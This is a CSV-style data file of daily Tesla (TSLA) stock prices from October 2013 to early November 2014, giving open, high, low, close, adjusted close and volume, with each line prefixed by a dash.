-2013-10-04,176.39999389648438,181.17999267578125,172.64999389648438,180.97999572753906,180.97999572753906,14414000,TSLA
-2013-10-07,182.4600067138672,186.72999572753906,180.25999450683594,183.07000732421875,183.07000732421875,11485600,TSLA
-2013-10-08,184.39999389648438,185.92999267578125,173.2100067138672,174.72999572753906,174.72999572753906,13757200,TSLA
-2013-10-09,174.72999572753906,174.99000549316406,161.5,168.77999877929688,168.77999877929688,15316500,TSLA
-2013-10-10,173.08999633789062,175.75,169.69000244140625,172.92999267578125,172.92999267578125,8883900,TSLA
-2013-10-11,172.75,179.2899932861328,171.1999969482422,178.6999969482422,178.6999969482422,8311100,TSLA
-2013-10-14,175.0,182.5,174.14999389648438,179.72000122070312,179.72000122070312,7769600,TSLA
-2013-10-15,185.27999877929688,188.7899932861328,183.17999267578125,183.94000244140625,183.94000244140625,10978500,TSLA
-2013-10-16,184.89999389648438,187.3000030517578,182.08999633789062,183.55999755859375,183.55999755859375,8205400,TSLA
-2013-10-17,183.5399932861328,184.8000030517578,180.99000549316406,182.8000030517578,182.8000030517578,6705000,TSLA
-2013-10-18,184.14999389648438,185.9600067138672,182.52000427246094,183.39999389648438,183.39999389648438,5930800,TSLA
-2013-10-21,183.27999877929688,183.38999938964844,171.0,172.60000610351562,172.60000610351562,11532100,TSLA
-2013-10-22,170.5,177.77999877929688,166.11000061035156,171.5399932861328,171.5399932861328,11386700,TSLA
-2013-10-23,168.91000366210938,171.80999755859375,160.14999389648438,164.5,164.5,13320400,TSLA
-2013-10-24,165.0,174.5,162.8300018310547,173.14999389648438,173.14999389648438,10825700,TSLA
-2013-10-25,174.2100067138672,174.5,166.8000030517578,169.66000366210938,169.66000366210938,7595500,TSLA
-2013-10-28,170.17999267578125,170.5,162.1999969482422,162.86000061035156,162.86000061035156,7841700,TSLA
-2013-10-29,162.75999450683594,165.4499969482422,153.0,164.47000122070312,164.47000122070312,14111700,TSLA
-2013-10-30,164.6300048828125,167.67999267578125,158.1699981689453,159.22000122070312,159.22000122070312,8401800,TSLA
-2013-10-31,155.6699981689453,162.44000244140625,153.3000030517578,159.94000244140625,159.94000244140625,9333800,TSLA
-2013-11-01,163.0,165.89999389648438,160.41000366210938,162.1699981689453,162.1699981689453,7180600,TSLA
-2013-11-04,165.0,175.38999938964844,164.22000122070312,175.1999969482422,175.1999969482422,13120400,TSLA
-2013-11-05,180.0,181.42999267578125,171.36000061035156,176.80999755859375,176.80999755859375,22467100,TSLA
-2013-11-06,154.80999755859375,160.72999572753906,146.35000610351562,151.16000366210938,151.16000366210938,31071700,TSLA
-2013-11-07,144.19000244140625,145.64999389648438,137.6199951171875,139.77000427246094,139.77000427246094,22284700,TSLA
-2013-11-08,136.47999572753906,140.60000610351562,132.32000732421875,137.9499969482422,137.9499969482422,22477900,TSLA
-2013-11-11,141.0,145.4199981689453,137.10000610351562,144.6999969482422,144.6999969482422,13997600,TSLA
-2013-11-12,144.69000244140625,144.6999969482422,136.17999267578125,137.8000030517578,137.8000030517578,14985200,TSLA
-2013-11-13,140.83999633789062,142.3699951171875,136.33999633789062,138.6999969482422,138.6999969482422,12658300,TSLA
-2013-11-14,138.9199981689453,140.39999389648438,134.11000061035156,137.60000610351562,137.60000610351562,12203700,TSLA
-2013-11-15,136.85000610351562,137.9499969482422,134.35000610351562,135.4499969482422,135.4499969482422,9900200,TSLA
-2013-11-18,135.27000427246094,135.4499969482422,119.61000061035156,121.58000183105469,121.58000183105469,23138200,TSLA
-2013-11-19,119.43000030517578,129.0,119.22000122070312,126.08999633789062,126.08999633789062,19816200,TSLA
-2013-11-20,126.08000183105469,127.44999694824219,119.05999755859375,121.11000061035156,121.11000061035156,13849600,TSLA
-2013-11-21,122.88999938964844,124.79000091552734,120.25,122.0999984741211,122.0999984741211,11903800,TSLA
-2013-11-22,121.58000183105469,122.75,117.93000030517578,121.37999725341797,121.37999725341797,11096700,TSLA
-2013-11-25,124.5,125.83999633789062,120.30000305175781,120.83999633789062,120.83999633789062,10267300,TSLA
-2013-11-26,119.37999725341797,122.72000122070312,116.0999984741211,120.5,120.5,13885500,TSLA
-2013-11-27,121.30999755859375,126.94999694824219,119.5199966430664,126.94000244140625,126.94000244140625,12367600,TSLA
-2013-11-29,129.77000427246094,130.58999633789062,126.9800033569336,127.27999877929688,127.27999877929688,9716200,TSLA
-2013-12-02,126.3499984741211,128.5500030517578,123.93000030517578,124.16999816894531,124.16999816894531,7751200,TSLA
-2013-12-03,132.67999267578125,144.94000244140625,131.58999633789062,144.6999969482422,144.6999969482422,25682400,TSLA
-2013-12-04,144.32000732421875,144.42999267578125,137.1300048828125,138.9499969482422,138.9499969482422,13147700,TSLA
-2013-12-05,140.14999389648438,143.35000610351562,139.5,140.47999572753906,140.47999572753906,9288400,TSLA
-2013-12-06,141.50999450683594,142.49000549316406,136.3000030517578,137.36000061035156,137.36000061035156,7909600,TSLA
-2013-12-09,137.0,141.6999969482422,134.2100067138672,141.60000610351562,141.60000610351562,9061500,TSLA
-2013-12-10,140.0500030517578,145.8699951171875,139.86000061035156,142.19000244140625,142.19000244140625,10748200,TSLA
-2013-12-11,141.8800048828125,143.0500030517578,139.49000549316406,139.64999389648438,139.64999389648438,7137800,TSLA
-2013-12-12,139.6999969482422,148.24000549316406,138.52999877929688,147.47000122070312,147.47000122070312,10767800,TSLA
-2013-12-13,148.0500030517578,151.8000030517578,147.32000732421875,147.64999389648438,147.64999389648438,10591900,TSLA
-2013-12-16,148.47999572753906,150.42999267578125,146.10000610351562,147.94000244140625,147.94000244140625,6675300,TSLA
-2013-12-17,147.5800018310547,154.6300048828125,146.32000732421875,152.4600067138672,152.4600067138672,10495000,TSLA
-2013-12-18,152.24000549316406,154.89999389648438,145.9499969482422,147.97999572753906,147.97999572753906,11581900,TSLA
-2013-12-19,146.89999389648438,147.0,139.10000610351562,140.72000122070312,140.72000122070312,12740000,TSLA
-2013-12-20,141.5800018310547,144.35000610351562,141.5800018310547,143.24000549316406,143.24000549316406,7412600,TSLA
-2013-12-23,144.85000610351562,146.24000549316406,142.60000610351562,143.5500030517578,143.5500030517578,5385500,TSLA
-2013-12-24,150.0,154.97000122070312,149.82000732421875,151.41000366210938,151.41000366210938,9941500,TSLA
-2013-12-26,155.0399932861328,158.0,154.2899932861328,155.5,155.5,7129500,TSLA
-2013-12-27,155.3000030517578,155.5,150.8000030517578,151.1199951171875,151.1199951171875,5460200,TSLA
-2013-12-30,151.1199951171875,154.80999755859375,150.75,152.44000244140625,152.44000244140625,4467500,TSLA
-2013-12-31,152.32000732421875,153.1999969482422,148.66000366210938,150.42999267578125,150.42999267578125,4262400,TSLA
-2014-01-02,149.8000030517578,152.47999572753906,146.5500030517578,150.10000610351562,150.10000610351562,6188400,TSLA
-2014-01-03,150.0,152.19000244140625,148.60000610351562,149.55999755859375,149.55999755859375,4695000,TSLA
-2014-01-06,150.0,150.39999389648438,145.24000549316406,147.0,147.0,5361100,TSLA
-2014-01-07,147.6199951171875,150.39999389648438,145.25,149.36000061035156,149.36000061035156,5034100,TSLA
-2014-01-08,148.85000610351562,153.6999969482422,148.75999450683594,151.27999877929688,151.27999877929688,6163200,TSLA
-2014-01-09,152.5,153.42999267578125,146.85000610351562,147.52999877929688,147.52999877929688,5382000,TSLA
-2014-01-10,148.4600067138672,148.89999389648438,142.25,145.72000122070312,145.72000122070312,7446100,TSLA
-2014-01-13,145.77999877929688,147.0,137.82000732421875,139.33999633789062,139.33999633789062,6316100,TSLA
-2014-01-14,140.5,162.0,136.6699981689453,161.27000427246094,161.27000427246094,27607000,TSLA
-2014-01-15,168.4499969482422,172.22999572753906,162.10000610351562,164.1300048828125,164.1300048828125,20465600,TSLA
-2014-01-16,162.5,172.6999969482422,162.39999389648438,170.97000122070312,170.97000122070312,11959400,TSLA
-2014-01-17,170.19000244140625,173.1999969482422,167.9499969482422,170.00999450683594,170.00999450683594,9206200,TSLA
-2014-01-21,171.24000549316406,177.2899932861328,170.80999755859375,176.67999267578125,176.67999267578125,9734700,TSLA
-2014-01-22,177.80999755859375,180.32000732421875,174.75999450683594,178.55999755859375,178.55999755859375,7022600,TSLA
-2014-01-23,177.22999572753906,182.3800048828125,173.4199981689453,181.5,181.5,7867400,TSLA
-2014-01-24,177.85000610351562,180.47999572753906,173.52999877929688,174.60000610351562,174.60000610351562,7664300,TSLA
-2014-01-27,175.16000366210938,177.9199981689453,164.7100067138672,169.6199951171875,169.6199951171875,8716400,TSLA
-2014-01-28,171.5,178.97999572753906,171.0,178.3800048828125,178.3800048828125,6093400,TSLA
-2014-01-29,175.3000030517578,179.08999633789062,173.1300048828125,175.22999572753906,175.22999572753906,5935500,TSLA
-2014-01-30,178.0,184.77999877929688,177.00999450683594,182.83999633789062,182.83999633789062,8565000,TSLA
-2014-01-31,178.85000610351562,186.0,178.50999450683594,181.41000366210938,181.41000366210938,6508800,TSLA
-2014-02-03,182.88999938964844,184.8800048828125,175.16000366210938,177.11000061035156,177.11000061035156,6764900,TSLA
-2014-02-04,180.6999969482422,181.60000610351562,176.1999969482422,178.72999572753906,178.72999572753906,4686300,TSLA
-2014-02-05,178.3000030517578,180.58999633789062,169.36000061035156,174.4199981689453,174.4199981689453,7268000,TSLA
-2014-02-06,176.3000030517578,180.11000061035156,176.0,178.3800048828125,178.3800048828125,5841600,TSLA
-2014-02-07,181.00999450683594,186.6300048828125,179.60000610351562,186.52999877929688,186.52999877929688,8928500,TSLA
-2014-02-10,189.33999633789062,199.3000030517578,189.32000732421875,196.55999755859375,196.55999755859375,12970700,TSLA
-2014-02-11,198.97000122070312,202.1999969482422,192.6999969482422,196.6199951171875,196.6199951171875,10709900,TSLA
-2014-02-12,195.77999877929688,198.27000427246094,194.32000732421875,195.32000732421875,195.32000732421875,5173700,TSLA
-2014-02-13,193.33999633789062,202.72000122070312,193.25,199.6300048828125,199.6300048828125,8029300,TSLA
-2014-02-14,198.10000610351562,201.8800048828125,197.0,198.22999572753906,198.22999572753906,6158000,TSLA
-2014-02-18,205.24000549316406,206.0,201.36000061035156,203.6999969482422,203.6999969482422,9332800,TSLA
-2014-02-19,203.6999969482422,203.6999969482422,193.41000366210938,193.63999938964844,193.63999938964844,16169000,TSLA
-2014-02-20,215.00999450683594,215.2100067138672,206.27000427246094,209.97000122070312,209.97000122070312,18002300,TSLA
-2014-02-21,211.63999938964844,213.97999572753906,209.19000244140625,209.60000610351562,209.60000610351562,7818800,TSLA
-2014-02-24,208.75999450683594,218.36000061035156,208.32000732421875,217.64999389648438,217.64999389648438,8278400,TSLA
-2014-02-25,230.0,259.20001220703125,228.4499969482422,248.0,248.0,32681700,TSLA
-2014-02-26,258.5799865722656,265.0,247.5,253.0,253.0,24604600,TSLA
-2014-02-27,261.25,261.8999938964844,248.3300018310547,252.5399932861328,252.5399932861328,17945800,TSLA
-2014-02-28,249.64999389648438,252.67999267578125,242.5500030517578,244.80999755859375,244.80999755859375,14589800,TSLA
-2014-03-03,237.25999450683594,251.64999389648438,234.99000549316406,250.55999755859375,250.55999755859375,13089300,TSLA
-2014-03-04,258.4800109863281,260.0,252.8300018310547,254.83999633789062,254.83999633789062,8745600,TSLA
-2014-03-05,256.7200012207031,256.989990234375,251.8000030517578,252.66000366210938,252.66000366210938,5935700,TSLA
-2014-03-06,254.13999938964844,257.5,249.4499969482422,252.94000244140625,252.94000244140625,7361100,TSLA
-2014-03-07,252.94000244140625,254.85000610351562,244.41000366210938,246.2100067138672,246.2100067138672,7812300,TSLA
-2014-03-10,242.6999969482422,243.0,236.05999755859375,238.83999633789062,238.83999633789062,7728100,TSLA
-2014-03-11,236.5,244.60000610351562,232.42999267578125,234.41000366210938,234.41000366210938,8810100,TSLA
-2014-03-12,231.5,247.5,231.11000061035156,241.49000549316406,241.49000549316406,9754400,TSLA
-2014-03-13,243.7899932861328,244.19000244140625,234.0,237.7899932861328,237.7899932861328,6236300,TSLA
-2014-03-14,235.2899932861328,236.94000244140625,228.32000732421875,230.97000122070312,230.97000122070312,8289700,TSLA
-2014-03-17,234.9499969482422,237.92999267578125,230.5,233.97999572753906,233.97999572753906,5912600,TSLA
-2014-03-18,236.9499969482422,241.5,235.02000427246094,240.0399932861328,240.0399932861328,6242300,TSLA
-2014-03-19,241.38999938964844,241.5500030517578,233.50999450683594,235.83999633789062,235.83999633789062,5071300,TSLA
-2014-03-20,236.16000366210938,239.25,233.36000061035156,234.91000366210938,234.91000366210938,3817900,TSLA
-2014-03-21,236.02000427246094,236.1999969482422,227.5,228.88999938964844,228.88999938964844,8216900,TSLA
-2014-03-24,229.75,229.89999389648438,210.27000427246094,220.1699981689453,220.1699981689453,11328800,TSLA
-2014-03-25,224.13999938964844,227.0500030517578,217.89999389648438,220.44000244140625,220.44000244140625,7865400,TSLA
-2014-03-26,221.9499969482422,222.60000610351562,211.35000610351562,212.9600067138672,212.9600067138672,6907300,TSLA
-2014-03-27,212.3699951171875,213.60000610351562,203.0,207.32000732421875,207.32000732421875,9495700,TSLA
-2014-03-28,212.8000030517578,216.72000122070312,210.27000427246094,212.3699951171875,212.3699951171875,9684800,TSLA
-2014-03-31,216.5,216.75,206.38999938964844,208.4499969482422,208.4499969482422,8380000,TSLA
-2014-04-01,209.02000427246094,218.16000366210938,208.5800018310547,216.97000122070312,216.97000122070312,7371400,TSLA
-2014-04-02,220.0,230.88999938964844,218.0500030517578,230.2899932861328,230.2899932861328,10782300,TSLA
-2014-04-03,230.3000030517578,235.72999572753906,222.0,225.39999389648438,225.39999389648438,10923700,TSLA
-2014-04-04,226.00999450683594,228.27000427246094,211.25,212.22999572753906,212.22999572753906,11345600,TSLA
-2014-04-07,205.80999755859375,216.1999969482422,203.50999450683594,207.52000427246094,207.52000427246094,9855500,TSLA
-2014-04-08,210.0500030517578,216.49000549316406,206.4199981689453,215.4600067138672,215.4600067138672,6889300,TSLA
-2014-04-09,216.75999450683594,218.4499969482422,210.88999938964844,216.92999267578125,216.92999267578125,5157900,TSLA
-2014-04-10,216.82000732421875,217.5,203.7899932861328,204.19000244140625,204.19000244140625,7211500,TSLA
-2014-04-11,200.61000061035156,207.0,198.60000610351562,203.77999877929688,203.77999877929688,9067200,TSLA
-2014-04-14,207.60000610351562,208.44000244140625,194.41000366210938,198.08999633789062,198.08999633789062,7703000,TSLA
-2014-04-15,199.08999633789062,199.2899932861328,184.32000732421875,193.91000366210938,193.91000366210938,13659300,TSLA
-2014-04-16,197.0,199.99000549316406,190.82000732421875,199.11000061035156,199.11000061035156,7202200,TSLA
-2014-04-17,199.61000061035156,202.2899932861328,194.0800018310547,198.1199951171875,198.1199951171875,5926800,TSLA
-2014-04-21,197.0800018310547,206.1999969482422,194.0,204.3800048828125,204.3800048828125,5258200,TSLA
-2014-04-22,206.36000061035156,219.3300018310547,205.00999450683594,218.63999938964844,218.63999938964844,9804700,TSLA
-2014-04-23,216.3300018310547,216.74000549316406,207.0,207.99000549316406,207.99000549316406,7295600,TSLA
-2014-04-24,210.80999755859375,212.8000030517578,203.1999969482422,207.86000061035156,207.86000061035156,5495200,TSLA
-2014-04-25,202.0,206.6999969482422,197.64999389648438,199.85000610351562,199.85000610351562,6996700,TSLA
-2014-04-28,200.0,203.7899932861328,190.5,198.50999450683594,198.50999450683594,7042000,TSLA
-2014-04-29,198.2100067138672,207.14999389648438,195.52999877929688,206.9199981689453,206.9199981689453,5779100,TSLA
-2014-04-30,203.60000610351562,208.16000366210938,201.27999877929688,207.88999938964844,207.88999938964844,4440600,TSLA
-2014-05-01,207.0800018310547,214.02000427246094,205.69000244140625,207.72999572753906,207.72999572753906,5439900,TSLA
-2014-05-02,208.60000610351562,211.36000061035156,206.52000427246094,210.91000366210938,210.91000366210938,4086800,TSLA
-2014-05-05,209.47999572753906,217.69000244140625,208.52000427246094,216.61000061035156,216.61000061035156,5147000,TSLA
-2014-05-06,216.60000610351562,218.66000366210938,206.85000610351562,207.27999877929688,207.27999877929688,5636700,TSLA
-2014-05-07,209.63999938964844,210.1999969482422,197.25,201.35000610351562,201.35000610351562,10179300,TSLA
-2014-05-08,182.0,194.39999389648438,178.0,178.58999633789062,178.58999633789062,20056600,TSLA
-2014-05-09,179.86000061035156,183.39999389648438,177.22000122070312,182.25999450683594,182.25999450683594,8495200,TSLA
-2014-05-12,183.8699951171875,187.19000244140625,179.8800048828125,184.6699981689453,184.6699981689453,7002300,TSLA
-2014-05-13,183.75999450683594,191.33999633789062,183.0,190.16000366210938,190.16000366210938,7097200,TSLA
-2014-05-14,188.9499969482422,193.47999572753906,187.10000610351562,190.6199951171875,190.6199951171875,5406700,TSLA
-2014-05-15,189.97999572753906,192.66000366210938,185.3000030517578,188.58999633789062,188.58999633789062,6040400,TSLA
-2014-05-16,188.9499969482422,192.0399932861328,187.72000122070312,191.55999755859375,191.55999755859375,4487700,TSLA
-2014-05-19,190.72000122070312,196.88999938964844,190.0,196.08999633789062,196.08999633789062,4571700,TSLA
-2014-05-20,196.94000244140625,199.3300018310547,193.07000732421875,195.3000030517578,195.3000030517578,5546100,TSLA
-2014-05-21,196.17999267578125,199.8699951171875,194.7899932861328,199.4499969482422,199.4499969482422,5285400,TSLA
-2014-05-22,200.35000610351562,206.8800048828125,199.55999755859375,204.8800048828125,204.8800048828125,6214500,TSLA
-2014-05-23,204.52999877929688,207.75999450683594,202.5,207.3000030517578,207.3000030517578,4006800,TSLA
-2014-05-27,208.52000427246094,213.8699951171875,207.6999969482422,211.55999755859375,211.55999755859375,5341100,TSLA
-2014-05-28,210.02000427246094,212.77000427246094,205.25999450683594,210.24000549316406,210.24000549316406,5495100,TSLA
-2014-05-29,210.57000732421875,212.49000549316406,207.72000122070312,210.24000549316406,210.24000549316406,3692500,TSLA
-2014-05-30,210.3000030517578,214.8000030517578,207.02000427246094,207.77000427246094,207.77000427246094,5581100,TSLA
-2014-06-02,207.3300018310547,209.35000610351562,201.6699981689453,204.6999969482422,204.6999969482422,4668100,TSLA
-2014-06-03,203.49000549316406,208.0,202.58999633789062,204.94000244140625,204.94000244140625,3860800,TSLA
-2014-06-04,204.35000610351562,206.25999450683594,200.39999389648438,203.99000549316406,203.99000549316406,3427400,TSLA
-2014-06-05,204.47000122070312,209.1999969482422,204.0500030517578,206.89999389648438,206.89999389648438,4054600,TSLA
-2014-06-06,209.75,210.80999755859375,207.17999267578125,208.1699981689453,208.1699981689453,3073800,TSLA
-2014-06-09,207.9499969482422,209.99000549316406,204.1999969482422,205.30999755859375,205.30999755859375,2805700,TSLA
-2014-06-10,204.42999267578125,206.97000122070312,201.5500030517578,202.3000030517578,202.3000030517578,3514700,TSLA
-2014-06-11,201.5,205.0,199.25,204.47000122070312,204.47000122070312,3977500,TSLA
-2014-06-12,205.10000610351562,209.8800048828125,202.7100067138672,203.52000427246094,203.52000427246094,5993700,TSLA
-2014-06-13,204.77999877929688,206.7899932861328,201.5800018310547,206.4199981689453,206.4199981689453,3544300,TSLA
-2014-06-16,206.75999450683594,225.49000549316406,206.25999450683594,224.61000061035156,224.61000061035156,13246400,TSLA
-2014-06-17,224.11000061035156,235.5399932861328,222.85000610351562,231.6699981689453,231.6699981689453,13304900,TSLA
-2014-06-18,231.5,231.7100067138672,226.1199951171875,227.1199951171875,227.1199951171875,6940200,TSLA
-2014-06-19,228.8800048828125,235.30999755859375,227.0,227.7899932861328,227.7899932861328,8793100,TSLA
-2014-06-20,228.52000427246094,231.2899932861328,226.1999969482422,229.58999633789062,229.58999633789062,4903900,TSLA
-2014-06-23,229.50999450683594,238.99000549316406,228.22000122070312,237.22000122070312,237.22000122070312,7791100,TSLA
-2014-06-24,238.97000122070312,241.8800048828125,231.6300048828125,232.5,232.5,8075900,TSLA
-2014-06-25,233.0500030517578,237.5500030517578,230.24000549316406,236.88999938964844,236.88999938964844,5801600,TSLA
-2014-06-26,237.1699981689453,240.39999389648438,234.2100067138672,235.60000610351562,235.60000610351562,5121400,TSLA
-2014-06-27,234.69000244140625,240.0,234.5,239.05999755859375,239.05999755859375,5635000,TSLA
-2014-06-30,239.5500030517578,244.49000549316406,239.0,240.05999755859375,240.05999755859375,4828600,TSLA
-2014-07-01,242.4600067138672,243.44000244140625,238.6999969482422,239.72000122070312,239.72000122070312,4336100,TSLA
-2014-07-02,240.66000366210938,242.3300018310547,227.07000732421875,229.42999267578125,229.42999267578125,8027400,TSLA
-2014-07-03,231.2899932861328,231.89999389648438,224.0,229.25,229.25,5166700,TSLA
-2014-07-07,227.5,229.77999877929688,220.39999389648438,222.66000366210938,222.66000366210938,5893700,TSLA
-2014-07-08,218.64999389648438,220.9600067138672,214.27000427246094,219.07000732421875,219.07000732421875,7836200,TSLA
-2014-07-09,221.27000427246094,224.22000122070312,219.2100067138672,223.05999755859375,223.05999755859375,4115400,TSLA
-2014-07-10,217.17999267578125,222.22000122070312,216.0399932861328,219.4600067138672,219.4600067138672,4863900,TSLA
-2014-07-11,220.61000061035156,221.60000610351562,217.60000610351562,218.1300048828125,218.1300048828125,3302300,TSLA
-2014-07-14,219.99000549316406,228.7899932861328,215.4499969482422,226.6999969482422,226.6999969482422,7203200,TSLA
-2014-07-15,226.72999572753906,227.64999389648438,218.10000610351562,219.5800018310547,219.5800018310547,5718500,TSLA
-2014-07-16,221.82000732421875,224.8000030517578,216.82000732421875,217.16000366210938,217.16000366210938,4044500,TSLA
-2014-07-17,216.16000366210938,220.5500030517578,213.60000610351562,215.39999389648438,215.39999389648438,4649400,TSLA
-2014-07-18,215.9499969482422,221.2100067138672,215.92999267578125,220.02000427246094,220.02000427246094,4253700,TSLA
-2014-07-21,217.25,223.2100067138672,216.72000122070312,220.5399932861328,220.5399932861328,3822200,TSLA
-2014-07-22,222.19000244140625,223.3000030517578,219.11000061035156,219.5800018310547,219.5800018310547,2730000,TSLA
-2014-07-23,220.00999450683594,224.75,219.42999267578125,222.49000549316406,222.49000549316406,3083300,TSLA
-2014-07-24,223.25,225.10000610351562,220.8000030517578,223.5399932861328,223.5399932861328,3245500,TSLA
-2014-07-25,222.72000122070312,226.97000122070312,221.75,223.57000732421875,223.57000732421875,3087100,TSLA
-2014-07-28,224.25,232.0,221.39999389648438,224.82000732421875,224.82000732421875,6514300,TSLA
-2014-07-29,226.61000061035156,228.3000030517578,224.86000061035156,225.00999450683594,225.00999450683594,3382400,TSLA
-2014-07-30,221.9199981689453,229.60000610351562,221.0399932861328,228.9199981689453,228.9199981689453,4927800,TSLA
-2014-07-31,229.25999450683594,231.39999389648438,221.5,223.3000030517578,223.3000030517578,7749100,TSLA
-2014-08-01,226.08999633789062,237.5,226.0,233.27000427246094,233.27000427246094,11895800,TSLA
-2014-08-04,234.3800048828125,240.5,233.27000427246094,238.52000427246094,238.52000427246094,5959700,TSLA
-2014-08-05,237.47000122070312,242.99000549316406,235.69000244140625,238.49000549316406,238.49000549316406,5388600,TSLA
-2014-08-06,238.89999389648438,251.4199981689453,238.5800018310547,248.92999267578125,248.92999267578125,9249300,TSLA
-2014-08-07,250.1199951171875,256.69000244140625,249.1199951171875,252.38999938964844,252.38999938964844,7478900,TSLA
-2014-08-08,251.16000366210938,251.75999450683594,246.5,248.1300048828125,248.1300048828125,5090100,TSLA
-2014-08-11,255.47999572753906,263.739990234375,255.0,259.32000732421875,259.32000732421875,8101300,TSLA
-2014-08-12,258.0799865722656,260.29998779296875,254.5800018310547,259.9599914550781,259.9599914550781,6382300,TSLA
-2014-08-13,262.010009765625,265.6400146484375,259.6099853515625,260.30999755859375,260.30999755859375,6932600,TSLA
-2014-08-14,262.489990234375,263.0,256.5,261.3800048828125,261.3800048828125,4126600,TSLA
-2014-08-15,261.4800109863281,262.0899963378906,258.5,262.010009765625,262.010009765625,3867900,TSLA
-2014-08-18,263.25,267.260009765625,259.75,259.94000244140625,259.94000244140625,5849200,TSLA
-2014-08-19,258.8699951171875,259.3299865722656,251.6199951171875,256.760009765625,256.760009765625,5334800,TSLA
-2014-08-20,254.6699981689453,258.739990234375,253.0,255.7100067138672,255.7100067138672,3027900,TSLA
-2014-08-21,256.5199890136719,258.79998779296875,253.25999450683594,254.33999633789062,254.33999633789062,2915600,TSLA
-2014-08-22,254.5399932861328,256.95001220703125,252.61000061035156,256.7799987792969,256.7799987792969,2833400,TSLA
-2014-08-25,258.19000244140625,263.67999267578125,258.19000244140625,262.54998779296875,262.54998779296875,4318100,TSLA
-2014-08-26,264.9800109863281,265.5,261.6600036621094,261.739990234375,261.739990234375,3818000,TSLA
-2014-08-27,263.5,264.239990234375,260.2900085449219,263.25,263.25,2985100,TSLA
-2014-08-28,261.8900146484375,264.4800109863281,261.6400146484375,263.8599853515625,263.8599853515625,2844900,TSLA
-2014-08-29,268.70001220703125,272.0,267.510009765625,269.70001220703125,269.70001220703125,6447100,TSLA
-2014-09-02,275.5,284.8900146484375,274.29998779296875,284.1199951171875,284.1199951171875,9852400,TSLA
-2014-09-03,287.6700134277344,288.0,280.1000061035156,281.19000244140625,281.19000244140625,6772300,TSLA
-2014-09-04,284.010009765625,291.4200134277344,280.3999938964844,286.0400085449219,286.0400085449219,8341700,TSLA
-2014-09-05,282.54998779296875,282.8999938964844,272.510009765625,277.3900146484375,277.3900146484375,11169900,TSLA
-2014-09-08,277.6199951171875,284.8800048828125,277.5199890136719,282.1099853515625,282.1099853515625,5501600,TSLA
-2014-09-09,282.989990234375,285.489990234375,277.0,278.4800109863281,278.4800109863281,4558800,TSLA
-2014-09-10,279.5,281.4100036621094,273.6600036621094,281.1000061035156,281.1000061035156,3781300,TSLA
-2014-09-11,280.4599914550781,284.7900085449219,278.6300048828125,280.30999755859375,280.30999755859375,3766100,TSLA
-2014-09-12,280.5,282.3900146484375,277.0,279.20001220703125,279.20001220703125,3324600,TSLA
-2014-09-15,274.3699951171875,274.3999938964844,249.1300048828125,253.86000061035156,253.86000061035156,16455400,TSLA
-2014-09-16,255.14999389648438,262.4599914550781,252.4199981689453,260.739990234375,260.739990234375,8300100,TSLA
-2014-09-17,262.4100036621094,264.70001220703125,259.5,261.3800048828125,261.3800048828125,5177700,TSLA
-2014-09-18,263.3599853515625,265.6000061035156,262.32000732421875,263.82000732421875,263.82000732421875,3692600,TSLA
-2014-09-19,257.989990234375,261.42999267578125,255.27000427246094,259.32000732421875,259.32000732421875,6810900,TSLA
-2014-09-22,255.0,256.0199890136719,244.7100067138672,250.02999877929688,250.02999877929688,8214100,TSLA
-2014-09-23,245.22000122070312,253.8000030517578,245.0,250.41000366210938,250.41000366210938,5658700,TSLA
-2014-09-24,251.1199951171875,252.83999633789062,247.0399932861328,252.13999938964844,252.13999938964844,3749500,TSLA
-2014-09-25,252.52000427246094,254.9600067138672,246.10000610351562,246.9499969482422,246.9499969482422,4834200,TSLA
-2014-09-26,248.25,249.72999572753906,246.07000732421875,246.60000610351562,246.60000610351562,3795400,TSLA
-2014-09-29,244.0,248.63999938964844,241.3800048828125,245.25999450683594,245.25999450683594,4852700,TSLA
-2014-09-30,246.9199981689453,247.64999389648438,240.1199951171875,242.67999267578125,242.67999267578125,4238300,TSLA
-2014-10-01,242.1999969482422,242.66000366210938,235.64999389648438,240.24000549316406,240.24000549316406,5941700,TSLA
-2014-10-02,250.1999969482422,252.7899932861328,245.36000061035156,251.4199981689453,251.4199981689453,8998200,TSLA
-2014-10-03,253.05999755859375,256.5,251.02999877929688,255.2100067138672,255.2100067138672,5406300,TSLA
-2014-10-06,259.1300048828125,262.489990234375,257.79998779296875,260.6199951171875,260.6199951171875,7713300,TSLA
-2014-10-07,258.5299987792969,261.4599914550781,255.72999572753906,259.57000732421875,259.57000732421875,4485500,TSLA
-2014-10-08,260.1000061035156,262.8800048828125,252.63999938964844,259.2799987792969,259.2799987792969,5055100,TSLA
-2014-10-09,262.25,265.5400085449219,254.39999389648438,257.010009765625,257.010009765625,7361300,TSLA
-2014-10-10,244.63999938964844,245.88999938964844,235.1999969482422,236.91000366210938,236.91000366210938,12888300,TSLA
-2014-10-13,238.57000732421875,238.9600067138672,221.0,224.58999633789062,224.58999633789062,11268700,TSLA
-2014-10-14,228.25,232.47000122070312,223.0,227.05999755859375,227.05999755859375,7105300,TSLA
-2014-10-15,220.0,230.99000549316406,217.32000732421875,229.6999969482422,229.6999969482422,9147300,TSLA
-2014-10-16,219.72000122070312,229.9199981689453,219.10000610351562,226.35000610351562,226.35000610351562,5399300,TSLA
-2014-10-17,233.3800048828125,234.77000427246094,226.5500030517578,227.47999572753906,227.47999572753906,10549400,TSLA
-2014-10-20,226.72000122070312,232.39999389648438,225.50999450683594,230.47000122070312,230.47000122070312,3494400,TSLA
-2014-10-21,234.27000427246094,235.38999938964844,230.8000030517578,235.33999633789062,235.33999633789062,4130300,TSLA
-2014-10-22,233.19000244140625,237.38999938964844,230.55999755859375,231.10000610351562,231.10000610351562,4116600,TSLA
-2014-10-23,234.66000366210938,236.27999877929688,232.0,235.2899932861328,235.2899932861328,3492400,TSLA
-2014-10-24,236.27000427246094,237.8000030517578,231.1999969482422,235.24000549316406,235.24000549316406,3463300,TSLA
-2014-10-27,234.25,234.61000061035156,220.30999755859375,221.6699981689453,221.6699981689453,9553300,TSLA
-2014-10-28,229.60000610351562,244.60000610351562,228.25,242.77000427246094,242.77000427246094,10516300,TSLA
-2014-10-29,241.1300048828125,241.5,235.63999938964844,238.10000610351562,238.10000610351562,4962500,TSLA
-2014-10-30,238.13999938964844,240.5,235.05999755859375,238.66000366210938,238.66000366210938,3228400,TSLA
-2014-10-31,242.50999450683594,243.1199951171875,238.75,241.6999969482422,241.6999969482422,3775300,TSLA
-2014-11-03,243.0,247.55999755859375,241.32000732421875,242.58999633789062,242.58999633789062,4203800,TSLA
-2014-11-04,240.49000549316406,242.35000610351562,236.52999877929688,238.92999267578125,238.92999267578125,3682600,TSLA
